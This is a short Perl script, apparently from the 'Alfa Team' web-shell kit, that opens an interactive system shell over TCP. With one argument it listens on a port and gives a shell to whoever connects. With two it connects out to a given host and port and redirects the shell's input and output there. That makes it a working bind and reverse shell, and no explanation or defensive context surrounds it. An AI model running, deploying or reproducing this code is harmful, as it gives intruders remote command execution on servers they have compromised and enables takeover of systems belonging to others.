#!/usr/bin/env perl
use IO::Socket;
$os=$^O;
$sh="export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i";
if($os=~m/win/i){$sh="%COMSPEC% /K";}
$t=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$t)||die();
if(@ARGV==1){
	$p=$ARGV[0];
	setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
	bind(S,sockaddr_in($p,INADDR_ANY))||die();
	listen(S,3)||die();
	accept(C,S);
	send(C,"~ Alfa Team Shell ~\n",0);
	open STDIN,"<&C";open STDOUT,">&C";open STDERR,">&C";
	exec $sh||die();
	close(C);close(S);close(STDIN);close(STDOUT);close(STDERR);
	exit 0;
}
elsif(@ARGV==2){
	$p=$ARGV[0];
	$h=$ARGV[1];
	$i=inet_aton($h)||die();
	$a=sockaddr_in($p,$i)||die();
	connect(S,$a)||die();
	send(S,"~ Alfa Team Shell ~\n",0);
	open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
	exec $sh||die();
	close(S);close(STDIN);close(STDOUT);close(STDERR);
}
else{exit(1);}